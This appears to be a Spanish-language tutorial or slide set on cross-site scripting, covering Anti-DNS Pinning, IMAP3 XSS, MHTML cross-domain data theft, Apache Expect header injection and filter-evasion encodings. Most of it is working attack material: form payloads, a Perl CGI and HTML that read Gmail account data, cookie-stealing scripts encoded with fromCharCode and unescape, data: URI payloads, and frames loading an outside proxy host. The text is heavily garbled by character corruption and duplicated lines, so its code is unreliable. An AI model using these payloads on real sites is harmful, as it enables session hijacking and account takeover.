[down[ (el atacante tiene cerrado el puerto,
*jemplo de evasi1n de 5iltros mediante (nti/anti/#?S -innin6
*jemplo de evasi1n de 5iltros mediante (nti/anti/#?S -innin6

.:$nti-D8S Pinning :.
6./ *l nave6ador no encuentra a !!!.!!!.!!!.!!! < comienKa el #?S -innin6 para
pre6untar al servidor #?S del atacante por la nueva 0- de sitiomali6no.com
./ *l servidor #?S del atacanteM contesta 3ue se encuentra en """."""."""."""
(ejemplo.com,
'./ *l nave6ador de la vLctima se conecta a """.""".""".""" < lee el [to>en[ 3ue
prote6ue el -#) < envia la in5o a sitiomali6no!.com
9./ *l atacante lee la in5o del [to>en[ < [oDli6a[ al nave6ador de la vLctima a visitar
ejemplo.com
(Aa coo>ie de la vLctima aOn no :a sido comprometida por3ue se encuentra en un sitio
di5erente al 3ue Dusca,
""./ Aa vLctima se conecta al servidor ejemplo.com con el [to>en[ correcto para ver el
-#)
"!./ Aa vLctima ejecuta el c1di6o malicioso 3ue a5ecta a (doDe 4eader en el conteBto
de la weD ejemplo.com < 3ue envLa su coo>ie a sitiomali6no!.com
"3./ *l atacante toma el control de la sesi1n del nave6ador de la vLctima

.:I(AP) 3SS :.

.:I(AP) 3SS :.
*s posiDle realiKar un in<ecci1n de c1di6o a travFs del servicio 09(-3 mediante un 7SS
Hre5lejadoI (comDinando amDas tFcnicas / Jade (lcorn !%%6,.
*s posiDle realiKar un in<ecci1n de c1di6o a travFs del servicio 09(-3 mediante un 7SS
Hre5lejadoI (comDinando amDas tFcnicas / Jade (lcorn !%%6,.
0ncluso si el servidor weD oDjetivo no contiene nin6On tipo de contenido dinNmicoM puede ser
[eBplotado[ a travFs del servicio 09(-3 (0nternet 9essa6e (ccess -rotocol 3, si Fste se
encuentra en el mismo dominio.
*jemplo de envio de S-(9 a travFs del puerto S92- de cual3uier servidor 3ue lo permita:
<;orm method=&post& name=; action=&http://www.e-emplo.com:#5&
enct*pe=&multipart/;orm=data&>
<textarea name=&;oo&>
M9?C example.com
L8E? $(CL:<some)od*]e-emplo.com>
(">K KC:<recipient]e-emplo.or<>
48K8
'u)-ect: Mi thereS
$rom: some)od*]e-emplo.com
Ko: recipient]e-emplo.or<
Mello worldS
.
RHEK
</textarea>



.:I(AP) 3SS :.
<input name=&s& t*pe=&su)mit&>
</;orm>
<script>
document.;.s.click();
</script>
*l servidor devuelve la si6uiente respuesta:

##% mail.e-emplo.or< 9'LK> Mi thereS
5%% "ommand unreco<ni[ed
5%% "ommand unreco<ni[ed
5%% "ommand unreco<ni[ed
5%% "ommand unreco<ni[ed
5%% "ommand unreco<ni[ed
5%% "ommand unreco<ni[ed
5%% "ommand unreco<ni[ed
5%% "ommand unreco<ni[ed
5%% "ommand unreco<ni[ed
5%% "ommand unreco<ni[ed
5%% "ommand unreco<ni[ed
5%% "ommand unreco<ni[ed
5%% "ommand unreco<ni[ed
#5% mail.e-emplo.or< Mello example.com F,,,.,,,.,,,.,,,G
#5% <some)od*]e-emplo.com> is s*ntacticall* correct
#5% <recipient]e-emplo.or<> is s*ntacticall* correct
!56 9nter messa<eD endin< with &.& on a line )* itsel;
#5% CY id=,5E^8'=%%%3!T=%%
##, mail.e-emplo.or< closin< connection




.:I(AP) 3SS :.
Qn atacante pude enviar un email en su nomDre sin necesidad de oDtener respuestas del
servidor. (un3ue como :emos vistoM no puede oDtener los datos de 5orma correcta
por3ue no se encuentran Dien H5ormateadosI (5%% "ommand unreco<ni[ed).
Qn ejemplo de petici1n normal es:
>C'K /localhost MKK>/,.%
8ccept: ima<e/<i;D ima<e/x=x)itmapD ima<e/-pe<D ima<e/p-pe<D
>C'K /localhost MKK>/,.%
>C'K :84 "ommand unreco<ni[ed/lo<in please: /?C"8?MC'K
8ccept: ima<e/<i;D ima<e/x=x)itmapD ima<e/-pe<D ima<e/p-pe<
8ccept: :84 "ommand unreco<ni[ed/lo<in please: EL8T9/TE$D
*n el ejemploM causamos un error de protocolo en el nave6ador <a 3ue el servidor espera
unos parNmetros determinados.
( travFs de la tFcnica descrita por Eoc:enjs en el HpaperI S92- :ac>in6M podemos tratar
de HconstruirI los parNmetros necesarios utiliKando 5ormularios con codi5icaci1n 9ulti/-art
< asL evitar el error: 5%% "ommand unreco<ni[ed




.:I(AP) 3SS :.
<script>
var tar<et+ip = I,,,.,,,.,,,.,,,I;
var tar<et+port = I##%I;
EL8>!alert(tar<et+ipD tar<et+port);
;unction EL8>!alert(ipD port) O
var ;orm+start = I<$C(L name=&multipart& I;
;orm+start J= Iid=&multipart& action=&http://I;
;orm+start J= ip J I:I J port;
;orm+start J= I/;ormulariocorreo.html& I;
;orm+start J= It*pe=&hidden& I;
;orm+start J= Ienct*pe=&multipart/;orm=data& I;
;orm+start J= Imethod=&post&> I;
;orm+start J= I<K9/K8(98 V8L9=&commands& (CB'=&%& "C?'=&%&>I;
var ;orm+end = I</K9/K8(98></$C(L>I;
cmd = &<scr&J&ipt>alert(document.)od*.innerMKL?)</scr&J&ipt>Un&;
cmd J= Ia%%# lo<outI J &Un&;
document.write(;orm+start);
document.write(cmd);
document.write(;orm+end);
document.multipart.su)mit();
P
</script>



*Bploit 09(-3 7SS 3ue utiliKa codi5icaci1n 9ulti/part para enviar S-(9.
*Bploit 09(-3 7SS 3ue utiliKa codi5icaci1n 9ulti/part para enviar S-(9.

.:(9:(; 3SS :.

.:(9:(; 3SS :.
9@29A es un protocolo de inte6raci1n entre 8utloo> e 0nternet *Bplorer. -ermite a un usuario
utiliKar su DuK1n de correo en caso de encontrar un lin> de email mientras nave6a por la weD.
*l ata3ue 9@29A 5unciona de la si6uiente manera:
"./ Aa vLctima vista una pN6ina weD controlada por el atacanteM 3ue le permite a Fste
realiKar redirecciones < 79A@22-4e3uests.
!./ *l nave6ador del usuario /renderiKa/ las peticiones 79A@22-4e3uest del atacanteM
las cuales le pre6untan si tiene el protocolo 9@29A activo para realiKar una redirecci1n aM por
ejemplo:
:ttp:;;Dlac>DoB.ps<.net;m:tml.c6iRtar6et=:ttps:;;www.6oo6le.com;accounts;*ditSecureQser0n5o
3./ Si lo tiene activoM la Q4 A le redireccionarN a una [direcci1n[ de tipo 9@29A
(mhtml:http://http://)lack)ox.ps*.net/mhtml.c<i?
www.<oo<le.com/searchN=testArls=or<.mo[illa:en=9':o;;icial)
&./ *sa Q4A 5inal redireccionarN a la vLctima donde el atacante 3uiera. *l nave6ador leerN
la /salida/ 9@29A como si se tratara del mismo dominio 3ue la primeraM permitiendo un [salto[
a travFs de los dominios.
*ste tipo de ata3ue solamente 5unciona con 0nternet *Bplorer .%.

.:(9:(; 3SS :.
*l c1di6o in<ectado solamente comienKa a leerse despuFs de la se6unda lLnea (el resto viaja
en las caDeceras,. (demNs deDe cumplirse otro re3uisitoM < es 3ue el atacante deDe conocer la
Q4A 3ue deDe enviar al atacante con antelaci1n para 3ue 5uncione. U eso si6ni5ica 3ue deDe
ser visiDle por la vLctima.
*l si6uiente c1di6o en /perl/ escrito por 4sna>e eBplica la vulneraDilidad:
\S/usr/)in/perl
use strict;
m* Qrestricted = ,; \restrict this to particular domains
m* Qlocation = &http://ha.ckers.or</weird/mhtml.c<i&; \where this script is
located.
\stu;; *ou ma* want to limit *our users to visitin<
m* redirects = (
Ihttp://www.<oo<le.com/search?N=testArls=or<.mo[illa:en=H':o;;icialI => ,D
Ihttp://www.*ahoo.com/I => ,D
Ihttps://www.<oo<le.com/accounts/Lana<e8ccountI => ,D
Ihttp://news.<oo<le.com/nwshp?ie=HK$=7Ahl=enAta)=wnAN=I => ,D
Ihttps://www.<oo<le.com/accounts/9dit'ecureHserEn;oI => ,D
Ihttps://)oost.loopt.com/loopt/sess/secureYe*.ashxI => ,D
Ihttp://ha.ckers.or</weird/asd;.c<iI => ,D
Ihttp://ha.ckers.or</I => ,
);

.:(9:(; 3SS :.
i; (Q9V@ORH9(^+'K(EVTP =_ m/`tar<et=/) O
Q9V@ORH9(^+'K(EVTP =_ s/`tar<et=/tar<et#=/;
print &"ontent=K*pe: text/-avascriptUnUn&;
print <<9CMKL?;
var reNuest = null;
reNuest = new /L?Mttp(eNuest();
i; (SreNuest) O
reNuest = new 8ctive/C)-ect(&Lsxml#./L?MKK>&);
P
i; (SreNuest) O
reNuest = new 8ctive/C)-ect(&Licroso;t./L?MKK>&);
P
var result = null;
reNuest.open(&T9K&D &Qlocation?Q9V@ORH9(^+'K(EVTP&D ;alse);
reNuest.send(null);
result = reNuest.responseKext;
9CMKL?
P elsi; (Q9V@ORH9(^+'K(EVTP) O
i; (Q9V@ORH9(^+'K(EVTP =_ m/`tar<et#=/) O
Q9V@ORH9(^+'K(EVTP =_ s/`tar<et#=/mhtml:Qlocation?/;
print &?ocation: Q9V@ORH9(^+'K(EVTPUnUn&;
\mi<ht want to add rand() )ack in here to prevent cachin<
P elsi; ((Qrestricted == %) aa (QredirectsOQ9V@ORH9(^+'K(EVTPP)) O
print &?ocation: Q9V@ORH9(^+'K(EVTPUnUn&;
P else O
print &"ontent=K*pe: text/htmlUnUnUnUn'orr*D no can do )udd*.&;
P P

.:(9:(; 3SS :.
*ste es el c1di6o 3ue 6enera el atacante para el H:ac>I 9@29A:
<html>
<head>
<title>Lhtml Enternet 9xplorer Mack</title>
<html>
<)od*>
<h,>Lhtml Enternet 9xplorer Mack</h,>
<p><8 M(9$=http://ha.ckers.or</>Ma.ckers.or< home</a>
<p>Enternet 9xplorer Cnl*S Kested on Bin/>.</p>
<p><noscript><:>>lease turn Xava'cript on.</:></noscript></p>
</div>
</head>
<)od*>
<p>Khis demonstrates the mhtml )u< in L'E9 3.%. Lake sure *ou modi;* mhtml.c<i to
have the correct path o; *our script. 8lsoD make sure *ou donIt put the &http://&
in *our tar<etD as that will simpl* redirect *ou. Khe result is written into the
&result& varia)leD which can )e used however *ou see ;it. ^ou can download this
sample and the c<i demo <8 M(9$=http://ha.ckers.or</weird/mhtml.[ip>here</8>.
Mere is the s*ntax:</p>
<4E@ 8?ETV=center><textarea cols=65 rows=!>Alt;script
src=&mhtml.c<i?tar<et=www.<oo<le.com/search?N=testArls=or<.mo[illa:en=
H':o;;icial&A<t;Alt;/scriptA<t;
Alt;scriptA<t;document.write(result)Alt;/scriptA<t;</textarea></div>

.:(9:(; 3SS :.
*l si6uiente c1di6o 5unciona si la vLctima utiliKa 0* .%M estN lo6ueado en HVmailI < tiene
activada la ejecuci1n de c1di6o /javascript/:
<script
src=mhtml.c<i?tar<et=https://www.<oo<le.com/accounts/9dit'ecureHserEn;o></script>
<script>
var a = /(FUwU.+=GZ]FUwU.+=GZ)/<;
var arr* = result.match(a);
i; (arr*) O
document.write(&^our Tmail 9mail 8ddress: <:>& J arr*F%G J &</:><:(>&);
document.write(&^our (eal 9mail 8ddress: <:>& J arr*F,G J &</:><:(>&);
P else O
document.write(&<:>Et appears *ou ma* not )e lo<<ed into Tmail<:><:(>&);
P
</script>
</p>
</div>
</)od*>
</html>
*l atacante roDa la in5ormaci1n de sesi1n de HVmailI pudiendo tomar control de la
direcci1n de email de la vLctima. -uede ser 5iltrado si se evitan los saltos de lLnea doDles.
*l atacante roDa la in5ormaci1n de sesi1n de HVmailI pudiendo tomar control de la
direcci1n de email de la vLctima. -uede ser 5iltrado si se evitan los saltos de lLnea doDles.

.:<=pect Vulner$0ilit2 :.

.:<=pect Vulner$0ilit2 :.
Aa vulneraDilidad 5ue descuDierta por 2:ia6o =aninotti (!%%6,. (5ecta al (pac:e @22- Server
< se aprovec:a de la 5orma en la 3ue el servidor muestra determinados errores.
(un3ue <a :ace acos 3ue :a sido reparadaM aOn es posiDle encontrar servidores anti6uos a
los 3ue les a5ecta ((pac:e ".3.3$M !.%.$' < !.!.! entre otros).
*l atacante ejecutarN el si6uiente c1di6o a travFs de un terminal:
Q telnet www.tiendavirtual.com 7%
Kr*in< ///.///.///.///...
"onnected to tiendavirtual.com.
9scape character is I`GI.
T9K / MKK>/,.%
9xpect: <script>alert(&/''&)</script>
Cuando el servidor JeD reciDe la in5ormaci1n err1nea mostrarN un error. #ic:o error serN
visualiKado por el nave6ador de la vLctima en 5ormato @29A. -or tantoM en 0nternet *BplorerM
un atacante podrLa :acer 3ue la car6a de la Q4A se deten6a < car6ue el c1di6o in<ectado Dajo
su control.

Cemos la respuesta del servidor con respecto a la petici1n:
MKK>/,., 6,3 9xpectation $ailed
4ate: BedD #7 Lar #%%3 #%:67:,2 TLK
'erver: 8pache
"onnection: close
"ontent=K*pe: text/html; charset=iso=7752=,
<S4C"K^>9 MKL? >H:?E" &=//E9K$//4K4 MKL? #.%//9V&>
<MKL?><M984>
<KEK?9>6,3 9xpectation $ailed</KEK?9>
</M984>
<:C4^>
<M,>9xpectation $ailed</M,>
Khe expectation <iven in the 9xpect reNuest=header
;ield could not )e met )* this server.<>>
Khe client sent<>(9>
9xpect: <script>alert(&/''&)</script>
</>(9>
)ut we onl* allow the ,%%=continue expectation.
</:C4^></MKL?>
"onnection closed )* ;orei<n host.

.:<=pect Vulner$0ilit2 :.

8Dservamos 3ue el servidor no in<ecta el c1di6oM para ello es necesario un paso mNs. #e
al6una 5orma es necesario realiKar un /spoo5in6/ de las /:eaders/. *l atacante podrN entonces
5orKar al usuario a redireccionarse para visitar la weDM mientrNs le in<ecta el c1di6o malicioso
en las caDeceras. @a.c>ers.or6 propone utiliKar )las: para realiKar el /spoo5in6/ a travFs del
si6uiente c1di6o:

inH(? = this.+url;
in>C' = inH(?.lastEndexC;(&?&);
in>aram = inH(?.su)strin<(in>C' J ,D in>C'.len<th);
reN = new ?oad@ars();
reN.add(eNuestMeader(&9xpect&D &<script>alert(UI& J in>aram J & is vulnera)le to
the 9xpect Meader vulnera)ilit*.UI);</script>&);
reN.send(in>aramD &+)lank&D &>C'K[,P
Aa 5orma de uso desde su sitio weD serLa la si6uiente Q4A:
http://ha.ckers.or</expect.sw;?http://www.tiendavirtual.com/
*l atacante puede utiliKar el jue6o de codi5icaci1n (SC00 cumpliendo con el estandar de @29A
para HmanipularI las peticiones sin causar un Herror de protocoloIM pero si causando errores
propios del servidor JeD con oDjeto de in<ectar c1di6o malicioso.

.:<=pect Vulner$0ilit2 :.

.:<1it$ndo ,iltros :.

.:<1it$ndo ,iltros :.
Aos ata3ues Cross/site dependen en Duena medida de la :aDilidad 3ue tiene el atacante para
HsaltarseI (:acer un HD<passI, los 5iltros 3ue pueda tener una determinada aplicaci1n.
Qna veK comprendido el 5uncionamiento < tras al6unas HsencillasI prueDas de 7SS (Duscando
in<ecciones tLpicas o por de5ecto,M lo si6uiente es ver de 3ue manera puede in<ectar c1di6o
malicioso a travFs del estudio del c1di6o usado por la aplicaci1nM asL comoM de los posiDles
5iltros 3ue pueda tener para evitarlo.
Aa laDor de eBploraci1n tiene un aDanico mu< eBtenso de :erramientas 3ue 5acilitan al
atacante la apertura de vectores soDre aplicativos. Aa intuici1n < la eBperiencia son tamDiFn
mu< importantes a la :ora de encaminar las posiDles vLas de ata3ue.
Aos HDuenosI desarrolladores suelen poner diversas Darreras para evitar este tipo de
HmalintencionesI. *l tipo de Darreras dependerN de la aplicaci1n. *n el caso de los sitios weDM
eBisten di5erentes 5ormas de evitar /strin6s/. @acerlo puede a<udar a persuadir el ata3ue mNs
eBtenso (H>iddieI,. -ero siempre es necesario conocer este tipo de temas para poder aDordar
mejor H*l otro lado de la in5ormNticaI .
Qna pN6ina weD puede impedir el uso del /strin6/ mNs comOn para la in<ecci1n de c1di6o
<script>
Sin emDar6o un atacante puede conocer el 5uncionamiento e interpretaci1n de determinados
caracteres por parte del protocolo < codi5icarlo para 3ue si6a :aciendo el mismo e5ecto.
!"3!1!3#123%36!9


.:<1it$ndo ,iltros :.
0n<ecci1n ori6inal:
<im< src=&-avascript:alert('"T=%2);&>
0n<ecci1n con camDio a ma<Osculas:
<ELT '("=&-avascript:alert('"T);&>
0n<ecci1n con intercamDio de ma<Osculas < minOsculas:
<iL< s("=&-a@as"ript:alert('"T);&>
0n<ecci1n con ap1stro5es en lu6ar de comillas doDles:
<im< src=I-avascript:alert('"T);I>
0n<ecci1n sin comillas ni ap1stro5es:
<im< src=-avascript:alert('"T);>
*jemplos de HmutacionesI de c1di6o utiliKando di5erentes codi5icaciones 3ue permiten realiKar
la in<ecci1n ori6inal (C:aracter *ncodin6,:
*jemplos de HmutacionesI de c1di6o utiliKando di5erentes codi5icaciones 3ue permiten realiKar
la in<ecci1n ori6inal (C:aracter *ncodin6,:

.:<1it$ndo ,iltros :.
0n<ecci1n utiliKando valores decimales:
<im< src=&-avA\23;script:alert('"T);&>
0n<ecci1n utiliKando valores :eBadecimales:

<im< src=&A\x1a;avascript:alert('"T);&>
0n<ecci1n utiliKando valores :eBadecimales en ma<Osculas:

<im< src=&A\/18;avascript:alert('"T);&>
0n<ecci1n utiliKando valores decimales sin usar:

<im< src=&-A\23vascript:alert('"T);&>
0n<ecci1n utiliKando valores decimales (utiliKando [leadin6 Keros[,:
<im< src=&-A\%%%23;vascript:alert('"T);&>
0n<ecci1n utiliKando un espacio en Dlanco al principio:

<im< src=& -avascript:alert('"T);&>

.:<1it$ndo ,iltros :.
0n<ecci1n utiliKando un espacio en Dlanco en medio:

<im< src=&-avaA\%2;script:alert('"T);&>
0n<ecci1n sin espacio en Dlanco en el ta6:

<im</src=&-avascript:alert('"T);&>
0n<ecci1n sin cerrar el ta6:

<im< src=&-avascript:alert('"T);&
0n<ecci1n con lLneas rotas:
<im< src
=&-av
a
script:alert('"T);&>
[.........Y
*jemplos mNs so5isticados en la Hsecci1nI: 7SS C:eats / )uKK Cectors

.:<1it$ndo ,iltros :.
*l mFtodo Strin6.)romC:arCode(, reco6e los valores especL5icos HQnicodeI < devuelve un
/strin6/
Su sintaBis es:
'trin<.;rom"har"ode(num/Dnum/D...Dnum/)
Siendo num/ uno o mNs valores Qnicode.
*jemplo:
<script t*pe=&text/-avascript&>
document.write('trin<.;rom"har"ode(7!D13D3,D65D67D53));
</script>
Salida:
SCV/%9
*Bisten :erramientas online 3ue 5acilitan la tarea.
http://wocares.com/noNuote.php
*jemplo de 5uncionamiento del mFtodo en /javascrtipt/ Strin6.)romC:arCode(,
*jemplo de 5uncionamiento del mFtodo en /javascrtipt/ Strin6.)romC:arCode(,

.:<1it$ndo ,iltros :.
0n<ecci1n ori6inal:
.><script>alert(document.cookie);</script>
0n<ecci1n c1di5icada:
'trin<.;rom"har"ode(1%D,,5D22D,,6D,%5D,,#D,,1D1#D23D,%7D,%,D,,6D,,1D6%D,%%D,,,D22D,,3D,%
2D,%,D,,%D,,1D61D22D,,,D,,,D,%3D,%5D,%,D6,D52D1%D63D,,5D22D,,6D,%5D,,#D,,1D1#)
0n<ecci1n c1di5icada < recodi5icada:
.><script>Strin6.5romC:arCode(9M"%'M"%"M""&M""6M&%M"%%M"""M99M""M"%9M"%"M""%M""6M&6M9
9M"""M"""M"%M"%$M"%"M&"M$9,S;scriptT
'trin<.;rom"har"ode(,63D1#D1%D,,5D22D,,6D,%5D,,#D,,1D1#D7!D,,1D,,6D,%5D,,%D,%!D61D,%#D,,
6D,,,D,%2D13D,%6D23D,,6D13D,,,D,%%D,%,D6%D53D55D66D62D67D51D66D62D67D62D66D62D62D5#D66D62D
62D56D66D5#D67D66D62D67D67D66D62D62D62D66D53D53D66D62D62D55D66D62D67D53D66D62D67D62D66D62D
62D67D66D62D62D56D66D5#D56D66D53D53D66D62D62D62D66D62D62D62D66D62D67D55D66D62D67D5!D66D62D
67D62D66D5#D62D66D5!D53D6,D1%D63D,,5D22D,,6D,%5D,,#D,,1D1#)
*jemplo de in<ecci1n de c1di6o utiliKando Strin6.)romC:arCode(,
*jemplo de in<ecci1n de c1di6o utiliKando Strin6.)romC:arCode(,

.:<1it$ndo ,iltros :.
Aa 5unci1n unescape(, decodi5ica un /strin6/ 3ue :a<a sido codi5icado con escape(,
Su sintaBis es:
unescape(strin<)
*jemplo de codi5icacion con escape(, < posterior decodi5icaci1n con unescape(,:
<script t*pe=&text/-avascript&>
var test,=&'"T%2&;
test,=escape(test,);
document.write (test, J &<)r />&);
test,=unescape(test,);
document.write(test, J &<)r />&);
</script>
Salida:
SCV%9
%$3%&3%&%3%%39
*jemplo de 5uncionamiento de la 5unci1n en /javascrtipt/ Qnescape(,
*jemplo de 5uncionamiento de la 5unci1n en /javascrtipt/ Qnescape(,

.:<1it$ndo ,iltros :.
0n<ecci1n ori6inal:
.><script>alert(document.cookie);</script>
0n<ecci1n c1di5icada:
2!!e!c3!1!3#123%36!e1,1c153#36#7161;1!351d
151e36#e1!1;1;1)1215#2!)!c#;3!1!3#123%36!e
*jemplo de vector avanKado con codi5icaci1n Qnescape(, G 9eKcla Strin6.)romC:arCode (,:
<im< src=;oo.pn< onerror=alert(/'"T%2/) />
<im< src=;oo.pn< onerror=1,1c153#36#7#;5!6!63!%!2#;#2/>
'trin<.;rom"har"ode(1%D,%5D,%2D,%!D!#D,,5D,,6D22D1,D,%#D,,,D,,,D61D,,#D,,%D,%!D!#D,,,D,,%
D,%,D,,6D,,6D,,,D,,6D1,D!3D56D62D!3D56D22D!3D56D5!D!3D55D5%D!3D55D5#D!3D5%D51D!3D5%D,%#D!3D
5!D5,D!3D5#D5,D!3D5#D55D!3D5,D67D!3D5,D53D!3D5%D,%#D!3D5%D53D63D1#)
*jemplo de in<ecci1n de c1di6o utiliKando Qnescape(,
*jemplo de in<ecci1n de c1di6o utiliKando Qnescape(,

.:PoC e=$/ples > ?2p$ssing filters :.
/ #ata Control -oC
/ )rame Eac>in6 -oC

.:D$t$ Control PoC :.
*s3uema del H#ata Q4AI :
data:F<mediat*pe>GF;encodin<GD<data>

<@e/plos 1Alidos de in2eccin de cdigo utiliB$ndo el protocolo D$t$:
9ediante codi5icaci1n Q2)':
<a hre;=&data:text/html;charset=ut;=7D!cscript!ealert(,);histor*.)ack();!c/script!e
&>'"T%2</a>
<i;rame src=&data:text/html;charset=ut;=7D!cscript!ealert(,);histor*.)ack();!c/script
!e&></i;rame>
9ediante +ase6&:
data:text/html;)ase16D>MV-cmlwd45h)T@*d"<xYKtoa/V%)!X5?mXh^#soYKs7?!V-cmlwd46=
9ediante Q2):
data:text/html;charset=ut;=3DJ84w=scriptJ846=alert(,)J84s=histor*.)ack()
J84s8>8=/scriptJ846=
9ediante Q2)/"6 en +ase6&;Q2)/ < Q2)/' al mismo tiempo:
data:text/html;charset=ut;=3DJ84w8cw:-8ME8aR:w8MR8><J=alert(,);histor*.)ack()J84s=
</script>

.:D$t$ Control PoC :.
Lediante HK$=,1 en :ase16:
data:text/html;charset=ut;=
3DJ84w8cw:-8ME8aR:w8MR8><:h8Tw8bR:*8MR8Y88x8"k8Cw:o8Tk8cw:%8T78c<:
58
"68^<:h8TL8aw8o8"k8Cw878"78cw:-8ME8aR:w8MR8><==J=
Lediante HK$=3 en :ase16:
data:text/html;charset=ut;=
3;)ase16DY%$9d*,[^!XpcMRrRHR%?B$sb/X%Y49pY%$9c*,oa/V%)!X5?mXh^#soY't
:(MV:H99t?!V-cmlwd"t:(4Rt
C;uscando HK$=3 en :ase16
data:text/html;charset=ut;=
3;)ase16DY%$9d*,[^!XpcMRrRHR%?B$sb/X%Y49pY%$9c*,oa/V%)!X5?mXh^#soY't
:(MV:H99t?!V-cmlwd"t:(4Rt
Ema<en sv<Jxml en :ase16
data:ima<e/sv<Jxml;)ase16D>MV#b*:6)Bxuc[p[dmc2Emh%dM81?*2!d!cud[Lu)!Xn?[EwL4
8vc!bnEi:6)Bxuc[%iaM
(%c4ov?!d!d*5!L*5vcmcvL-8wL"2[dmciEMht)T5[CnhsaB5r>'XodM(wCi7vd!d!?nc[?m2
*b*7xCKk5?!hsaB5rEi:#b/
X[aB2u>'Ex?-8iEM<2E-8iEMk2E-8iEMdpbM(o>'ExCKRiEThlaBdod4%iL-8wEi:pb4%ieMV[E-67c#V
*a/:%EM(5cTH2En
(leMRvbBVt^/V-cmlwd"EJ^BxlcnRoElhKH*EpC[wvc#V*a/:%>-wvc!bn><==

.:,r$/e C$c7ing PoC :.
<;rameset rows=&,%%&>
<;rame noresi[e=&noresi[e& ;rame)order =&%& title=&'"T=%2 $rame >o"&
src=&http://)lack)ox.ps*.net/prox*&>
</;rame>
</;rameset>
,r$/e jac>in6 utiliKando codi5icaci1n @29A simple:
<script t*pe=&text/-avascript&>document.write(unescape(&!"113#1,14
153!1536#%3#1$333!!4##!,!%!%#5##!9%8!"
113#1,1415#%191$3#153!123815!4##191$
3#153!123815###%113#1,14151#1$
3#16153##%!4##!%###%3612361"15!4
##5!6!63#4!%!2#%613#1,1415#%5%1$
6!###%3!3#1!!4##1736363%!8#$#$1#1"1,1!1:
1#1$37#93%3!32#9191536#$3%3#1$3732##!9%8
!"#$113#1,1415!9%8!"#$113#1,14153!1536!9&)
);</script>
*l atacante in<ecta el si6uiente c1di6o para crear un H5rameI utiliKando la codi5icaci1n @29A
simple < asL evitar posiDles 5iltros:
*l atacante in<ecta el si6uiente c1di6o para crear un H5rameI utiliKando la codi5icaci1n @29A
simple < asL evitar posiDles 5iltros:

.:,r$/e C$c7ing PoC :.
<script t*pe=&text/-avascript&>document.write(unescape(&<)od* topmar<in=&%&
le;tmar<in=&% & mar<inwdth=&%& mar<inhei<ht=&%&>
<i;rame src=&http://)lack)ox.ps*.net/prox*& name=&'"T=%2 $rame >o"& width=&,%%&
hei<ht=&,%%& scrollin<=&auto& ;rame)order=&no&></i;rame>&));</script>
%%9%3C%3%63%!%69%%%&%!%%&%9%%%6$%3#%!!%&%6$%'%&%!)
%6(%6"%6%6"%3%63%!%69%%%&%!!%3*%6&%6)%63%$%6#%6$%6*
%&%!*%%!%69%&%6$%!'%$%6*%6$%3%63%6"%%%6$%!'%!!%3C
%6!%6)%6&%9%!%%&%6)%%%6#%6"%!%6%69%6*%3#%!!%3%%!!%!%%%(
%%9%%9%6C%6$%66%&%6#%6"%!%6%69%6*%3#%!!%3%%!%%!!%!%%6#
%6"%!%6%69%6*%%6&%&%6'%3#%!!%3%%!!%!%%6#%6"%!%6%69%6*
%6'%6$%69%6%6'%&%3#%!!%3%%!!%3*%%(%!%%%9%3C%69%66%!%6"%6#
%6$%!%%3%!%63%3#%!!%6'%&%&%%%3(%!)%!)%6!%6C%6"%63%6+
%6!%6)%'%!*%%%3%9%!*%6*%6$%&%!)%%%!%6)
%'%9%!!%!%%!%%6*%6"%6#%6$%3#%!!%$3%&3%&%!#
%3%%39%!%%&6%!%6"%6#%6$%!%%$%%6)%&3%!!%!%%!%%%69%6&%&%6'%3#
%!!%3"%3%%3%%!$%!!%%(%%9%%9%!%%6'%6$%69%6%6'%&%3#
%!!%3"%3%%3%%!$%!!%!%%3%63%!%6)%6C%6C%69%6*%6%3#
%!!%6"%$%&%6)%!!%!%%66%!%6"%6#%6$%6!%6)%!%6&%6$%!%3#
%!!%6*%6)%!!%3*%3C%!)%69%66%!%6"%6#%6$%3*%!!%!9%!9%3+%3C%!)
%3%63%!%69%%%&%3*
*l atacante in<ecta el si6uiente c1di6o para crear un Hi5rameI utiliKando la codi5icaci1n @29A
simple < asL evitar posiDles 5iltros:
*l atacante in<ecta el si6uiente c1di6o para crear un Hi5rameI utiliKando la codi5icaci1n @29A
simple < asL evitar posiDles 5iltros:

.:,r$/e C$c7ing PoC :.
*l atacante in<ecta el si6uiente c1di6o para crear un H5rameI a travFs de una 5unci1n en
/javascript/ < asL evitar posiDles 5iltros:
*l atacante in<ecta el si6uiente c1di6o para crear un H5rameI a travFs de una 5unci1n en
/javascript/ < asL evitar posiDles 5iltros:
<script lan<ua<e=&Xava'cript& t*pe=&text/-avascript&>
<S==
;unction writeX'()O
var str=II;
strJ=I<;rameset rows=&,%%&>I;
strJ=I<;rame noresi[e=&noresi[e& ;rame)order=&%& title=&'"T=%2 $rame >o"&
src=&http://)lack)ox.ps*.net/prox*&>I;
strJ=I<S== its time to )*pass ;ilters ==>I;
strJ=I<U/;rame>I;
strJ=I<U/;rameset>I;
document.write(str);
P
writeX'();
//==>
</script>

.:,r$/e C$c7ing PoC :.
*l atacante in<ecta el si6uiente c1di6o para crear un Hi5rameI a travFs de una 5unci1n en
/javascript/ < asL evitar posiDles 5iltros:
*l atacante in<ecta el si6uiente c1di6o para crear un Hi5rameI a travFs de una 5unci1n en
/javascript/ < asL evitar posiDles 5iltros:
script lan<ua<e=&Xava'cript& t*pe=&text/-avascript&>
<S==
;unction writeX'()O
var str=II;
strJ=I<)od* topmar<in=&%& le;tmar<in=&%& mar<inwidth=&%& mar<inhei<th=&%&>I;
strJ=I<i;rame src=&http://)lack)ox.ps*.net/prox*& name=&'"T=%2 $rame >o"&
width=&,%%& hei<ht=&,%%& scrollin<=&auto&
;rame)order=&no&><U/i;rame>I;
document.write(str);
P
writeX'();
//==>
</script>

.:,r$/e C$c7ing PoC :.
*l atacante in<ecta el si6uiente c1di6o para crear un Hi5rameI mediante el uso de /(jaB/
asLncrono < asL evitar posiDles 5iltros:
*l atacante in<ecta el si6uiente c1di6o para crear un Hi5rameI mediante el uso de /(jaB/
asLncrono < asL evitar posiDles 5iltros:
<script>
;unction initiali[e() O
var test$rame =
document.create9lement(&E$(8L9&);
test$rame.id = &test$rame&;
test$rame.src = &http://)lack)ox.ps*.net/prox*&;
test$rame.set8ttri)ute(&width&D&,%%&);
test$rame.set8ttri)ute(&hei<ht&D&,%%&);
test$rame.set8ttri)ute(&;rame)order&D&no&);
test$rame.set8ttri)ute(&scrollin<&D&auto&);
test$rame.st*le.displa* = &none&;
document.)od*.append"hild(test$rame);
P
</script>
<)od* onload=&initiali[e()& topmar<in=&%& le;tmar<in=&%& mar<inwidth=&%&
mar<inhei<ht=&%&>

.::Dcnic$s de $t$%ue :.

.:Cl$ssic 3SS :.
